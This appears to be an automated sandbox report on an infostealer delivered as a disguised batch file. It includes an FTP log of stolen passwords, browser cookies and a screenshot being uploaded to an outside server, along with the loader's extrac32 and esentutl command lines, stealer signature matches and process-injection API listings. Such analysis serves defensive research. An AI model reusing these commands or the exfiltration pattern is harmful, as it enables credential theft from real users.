Oct 30, 2024 08:35:39.357736111 CET	49753	21	192.168.2.4	110.4.45.197	STOR PW_user-932923_2024_10_30_03_35_35.html
Oct 30, 2024 08:35:40.259845018 CET	21	49753	110.4.45.197	192.168.2.4	150 Accepted data connection
Oct 30, 2024 08:35:40.590024948 CET	21	49753	110.4.45.197	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.331 seconds (measured here), 1.03 Kbytes per second
Oct 30, 2024 08:35:40.647682905 CET	49753	21	192.168.2.4	110.4.45.197	PASV
Oct 30, 2024 08:35:40.984262943 CET	21	49753	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,245,242)
Oct 30, 2024 08:35:40.990443945 CET	49753	21	192.168.2.4	110.4.45.197	STOR CO_Chrome_Default.txt_user-932923_2024_10_30_09_44_21.txt
Oct 30, 2024 08:35:41.894920111 CET	21	49753	110.4.45.197	192.168.2.4	150 Accepted data connection
Oct 30, 2024 08:35:42.226413965 CET	21	49753	110.4.45.197	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.333 seconds (measured here), 9.85 Kbytes per second
Oct 30, 2024 08:35:42.226949930 CET	49753	21	192.168.2.4	110.4.45.197	PASV
Oct 30, 2024 08:35:42.556190014 CET	21	49753	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,239,11)
Oct 30, 2024 08:35:42.562902927 CET	49753	21	192.168.2.4	110.4.45.197	STOR CO_Firefox_fqs92o4p.default-release.txt_user-932923_2024_10_30_12_13_08.txt
Oct 30, 2024 08:35:43.476490974 CET	21	49753	110.4.45.197	192.168.2.4	150 Accepted data connection
Oct 30, 2024 08:35:43.807782888 CET	21	49753	110.4.45.197	192.168.2.4	226 File successfully transferred
Oct 30, 2024 08:37:04.723928928 CET	49753	21	192.168.2.4	110.4.45.197	PASV
Oct 30, 2024 08:37:05.052964926 CET	21	49753	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,208,121)
Oct 30, 2024 08:37:05.059341908 CET	49753	21	192.168.2.4	110.4.45.197	STOR SC_user-932923_2024_10_30_03_37_03.jpeg
Oct 30, 2024 08:37:05.959093094 CET	21	49753	110.4.45.197	192.168.2.4	150 Accepted data connection

Target ID:	0
Start time:	03:34:56
Start date:	30/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\z1Transaction_ID_REF2418_cmd.bat" "
Imagebase:	0x7ff79ac20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:34:56
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:34:56
Start date:	30/10/2024
Path:	C:\Windows\System32\extrac32.exe
Wow64 process (32bit):	false
Commandline:	extrac32 /y "C:\Users\user\Desktop\z1Transaction_ID_REF2418_cmd.bat" "C:\Users\user\AppData\Local\Temp\x.exe"
Imagebase:	0x7ff670c10000
File size:	35'328 bytes
MD5 hash:	41330D97BF17D07CD4308264F3032547
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:34:56
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\x.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\x.exe"
Imagebase:	0x400000
File size:	1'138'688 bytes
MD5 hash:	08C4AFC4A714EDFE9F2554B72DA40A04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 32%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:35:00
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\xrbjyllC.cmd" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:35:00
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:35:01
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\esentutl.exe
Wow64 process (32bit):	true
Commandline:	C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o
Imagebase:	0x860000
File size:	352'768 bytes
MD5 hash:	5F5105050FBE68E930486635C5557F84
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:35:01
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\esentutl.exe
Wow64 process (32bit):	true
Commandline:	C:\\Windows\\System32\\esentutl.exe /y C:\Users\user\AppData\Local\Temp\x.exe /d C:\\Users\\Public\\Libraries\\Cllyjbrx.PIF /o
Imagebase:	0x860000
File size:	352'768 bytes
MD5 hash:	5F5105050FBE68E930486635C5557F84
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:35:01
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:35:01
Start date:	30/10/2024
Path:	C:\Users\Public\Libraries\xrbjyllC.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\xrbjyllC.pif
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.1887098734.000000002C240000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.1887098734.000000002C240000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000009.00000002.1887098734.000000002C240000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: 00000009.00000002.1887098734.000000002C240000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AgentTeslaV2, Description: AgenetTesla Type 2 Keylogger payload, Source: 00000009.00000002.1887098734.000000002C240000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000009.00000002.1859312320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.1886701833.000000002AC91000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.1886701833.000000002AC91000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000009.00000002.1886701833.000000002AC91000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000009.00000001.1719718721.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.1723831872.000000002802C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000003.1723831872.000000002802C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000009.00000003.1723831872.000000002802C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.1885443724.00000000299AF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.1885443724.00000000299AF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000009.00000002.1885443724.00000000299AF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.1885700149.0000000029CE4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.1885700149.0000000029CE4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.1887771568.000000002C980000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.1887771568.000000002C980000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000009.00000002.1887771568.000000002C980000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: 00000009.00000002.1887771568.000000002C980000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AgentTeslaV2, Description: AgenetTesla Type 2 Keylogger payload, Source: 00000009.00000002.1887771568.000000002C980000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:35:10
Start date:	30/10/2024
Path:	C:\Users\Public\Libraries\Cllyjbrx.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Cllyjbrx.PIF"
Imagebase:	0x400000
File size:	1'138'688 bytes
MD5 hash:	08C4AFC4A714EDFE9F2554B72DA40A04
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 32%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:35:12
Start date:	30/10/2024
Path:	C:\Users\Public\Libraries\xrbjyllC.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\xrbjyllC.pif
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.2036790084.0000000026ABF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.2036790084.0000000026ABF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000B.00000002.2036790084.0000000026ABF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.2039752905.0000000029A80000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.2039752905.0000000029A80000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000B.00000002.2039752905.0000000029A80000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: 0000000B.00000002.2039752905.0000000029A80000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AgentTeslaV2, Description: AgenetTesla Type 2 Keylogger payload, Source: 0000000B.00000002.2039752905.0000000029A80000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.2037435612.0000000026EC0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.2037435612.0000000026EC0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000B.00000002.2037435612.0000000026EC0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: 0000000B.00000002.2037435612.0000000026EC0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AgentTeslaV2, Description: AgenetTesla Type 2 Keylogger payload, Source: 0000000B.00000002.2037435612.0000000026EC0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.1829118494.0000000024F7D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000003.1829118494.0000000024F7D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000B.00000003.1829118494.0000000024F7D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.2037584251.0000000026FED000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000B.00000002.2004085524.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.2037584251.0000000026FA4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.2037584251.0000000026FA4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000B.00000001.1826572703.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.2039086668.0000000027F51000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.2039086668.0000000027F51000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000B.00000002.2039086668.0000000027F51000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:35:18
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe"
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:35:26
Start date:	30/10/2024
Path:	C:\Users\Public\Libraries\Cllyjbrx.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Cllyjbrx.PIF"
Imagebase:	0x400000
File size:	1'138'688 bytes
MD5 hash:	08C4AFC4A714EDFE9F2554B72DA40A04
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	03:35:29
Start date:	30/10/2024
Path:	C:\Users\Public\Libraries\xrbjyllC.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\xrbjyllC.pif
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.1999135906.0000000020784000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000011.00000003.1999135906.0000000020784000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000011.00000003.1999135906.0000000020784000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000002.2933556795.0000000022680000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000011.00000002.2933556795.0000000022680000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000011.00000002.2933556795.0000000022680000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: 00000011.00000002.2933556795.0000000022680000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AgentTeslaV2, Description: AgenetTesla Type 2 Keylogger payload, Source: 00000011.00000002.2933556795.0000000022680000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000011.00000002.2933710309.00000000227AD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000011.00000002.2918780561.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000002.2937049354.0000000025040000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000011.00000002.2937049354.0000000025040000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000011.00000002.2937049354.0000000025040000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: 00000011.00000002.2937049354.0000000025040000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AgentTeslaV2, Description: AgenetTesla Type 2 Keylogger payload, Source: 00000011.00000002.2937049354.0000000025040000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000002.2933003341.00000000220EF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000011.00000002.2933003341.00000000220EF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000011.00000002.2933003341.00000000220EF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000002.2933710309.0000000022764000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000011.00000002.2933710309.0000000022764000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000002.2936380782.0000000023711000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000011.00000002.2936380782.0000000023711000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000011.00000002.2936380782.0000000023711000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000011.00000001.1996288631.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	03:35:35
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe"
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	15.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4%
Total number of Nodes:	2000
Total number of Limit Nodes:	25

Executed Functions

Function 031D8D70 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1654
threadnativeinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 031D89D0: FreeLibrary.KERNEL32(74AE0000,00000000,00000000,00000000,00000000,0324738C,Function_0000662C,00000004,0324739C,0324738C,05F5E103,00000040,032473A0,74AE0000,00000000,00000000), ref: 031D8AAA

Part of subcall function 031D8788: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 031D8814

GetThreadContext.KERNEL32(0000089C,03247424,ScanString,032473A8,031DA93C,UacInitialize,032473A8,031DA93C,ScanBuffer,032473A8,031DA93C,ScanBuffer,032473A8,031DA93C,UacInitialize,032473A8), ref: 031D9602

Part of subcall function 031D8400: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 031D8471

Part of subcall function 031D8670: NtUnmapViewOfSection.NTDLL(?,?), ref: 031D86D5

Part of subcall function 031D7A2C: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 031D7A9F

Part of subcall function 031D7D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 031D7DEC

SetThreadContext.KERNEL32(0000089C,03247424,ScanBuffer,032473A8,031DA93C,ScanString,032473A8,031DA93C,Initialize,032473A8,031DA93C,000008A0,003AEFF8,032474FC,00000004,03247500), ref: 031DA317
NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(0000089C,00000000,0000089C,03247424,ScanBuffer,032473A8,031DA93C,ScanString,032473A8,031DA93C,Initialize,032473A8,031DA93C,000008A0,003AEFF8,032474FC), ref: 031DA324

Part of subcall function 031D894C: LoadLibraryW.KERNEL32(bcrypt,?,0000089C,00000000,032473A8,031DA587,ScanString,032473A8,031DA93C,ScanBuffer,032473A8,031DA93C,Initialize,032473A8,031DA93C,UacScan), ref: 031D8960
Part of subcall function 031D894C: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 031D897A
Part of subcall function 031D894C: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,0000089C,00000000,032473A8,031DA587,ScanString,032473A8,031DA93C,ScanBuffer,032473A8,031DA93C,Initialize), ref: 031D89B6

Strings

dbgcore, xrefs: 031DA719, 031DA72D
bcrypt, xrefs: 031DA578, 031DA58C, 031DA5A0
NtSetSecurityObject, xrefs: 031DA88F
advapi32, xrefs: 031DA705
UacInitialize, xrefs: 031D9032, 031D9393, 031D9512, 031D9616, 031D9A12, 031D9B86, 031DA330
ScanBuffer, xrefs: 031D8ECC, 031D8F54, 031D92EF, 031D9404, 031D94A1, 031D97DA, 031D9961, 031D9AF4, 031D9CD9, 031D9DEE, 031D9FAC, 031DA11C, 031DA28F, 031DA483, 031DA6A1, 031DA7E7
ntdll, xrefs: 031DA625, 031DA639, 031DA6F1, 031DA894, 031DA8A8
BCryptRegisterProvider, xrefs: 031DA59B
I_QueryTagInformation, xrefs: 031DA700
SLGetLicenseInformation, xrefs: 031D935F
OpenSession, xrefs: 031D8DA9, 031D91CC, 031D927E, 031DA64F, 031DA795
Initialize, xrefs: 031D90EA, 031D96F8, 031D987F, 031D9C68, 031D9ECA, 031DA03A, 031DA1AD, 031DA412, 031DA743
MiniDumpWriteDump, xrefs: 031DA714
BCryptQueryProviderRegistration, xrefs: 031DA587
ScanString, xrefs: 031D8E02, 031D8FAD, 031D915B, 031D9583, 031D9769, 031D98F0, 031D9D7D, 031D9F3B, 031DA0AB, 031DA21E, 031DA509, 031DA5B6
NtOpenProcess, xrefs: 031DA8A3
UacScan, xrefs: 031D8E73, 031D908B, 031D9687, 031D9A83, 031D9BF7, 031DA3A1, 031DA839
NtOpenObjectAuditAlarm, xrefs: 031DA634, 031DA6EC
MiniDumpReadDumpStream, xrefs: 031DA728
sppc, xrefs: 031D9376
BCryptVerifySignature, xrefs: 031DA573
NtReadVirtualMemory, xrefs: 031DA620

Memory Dump Source

Source File: 00000003.00000002.1725304888.00000000031C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031C0000, based on PE: true

Associated: 00000003.00000002.1725278060.00000000031C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.0000000003247000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1726510733.000000000333E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_x.jbxd

Similarity

API ID: LibraryMemoryThreadVirtual$ContextFree$AddressAllocateCreateLoadProcProcessReadResumeSectionUnmapUserViewWrite
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 2388221946-51457883
Opcode ID: 4f57798019dfd46501e0f8c38d7a4077720e8368b3f56d8aeff0f294727c8965
Instruction ID: f29cacbe1708d1324b85b206affedfccaf861d2672cf724fa47736ebc37bdcbf
Opcode Fuzzy Hash: 4f57798019dfd46501e0f8c38d7a4077720e8368b3f56d8aeff0f294727c8965
Instruction Fuzzy Hash: 95E21C38A142689FCB16FB65DC91BCEB3B9AF9D200F1041A5A055AF215DF30EE86CF51

Function 031D8D6E Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1605
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 031D89D0: FreeLibrary.KERNEL32(74AE0000,00000000,00000000,00000000,00000000,0324738C,Function_0000662C,00000004,0324739C,0324738C,05F5E103,00000040,032473A0,74AE0000,00000000,00000000), ref: 031D8AAA

Part of subcall function 031D8788: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 031D8814

